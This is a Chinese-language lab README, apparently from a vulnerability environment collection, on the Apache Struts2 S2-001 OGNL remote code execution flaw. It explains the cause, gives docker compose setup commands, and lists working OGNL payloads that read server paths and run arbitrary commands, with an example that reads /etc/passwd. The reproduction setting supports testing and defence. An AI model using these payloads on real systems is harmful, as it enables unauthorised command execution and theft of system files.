Aaron
63285f61aa
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39 lines
1.6 KiB
Markdown
39 lines
1.6 KiB
Markdown
# S2-001 远程代码执行漏洞
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## 原理
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参考 [http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
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> 该漏洞因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以直接构造 Payload 进行命令执行
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## 环境
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执行以下命令启动s2-001测试环境
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```
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docker compose build
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docker compose up -d
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```
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## POC && EXP
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获取tomcat执行路径：
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```
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%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
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```
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获取Web路径：
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```
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%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
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```
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执行任意命令（命令加参数：`new java.lang.String[]{"cat","/etc/passwd"}`）：
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```
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%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
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```
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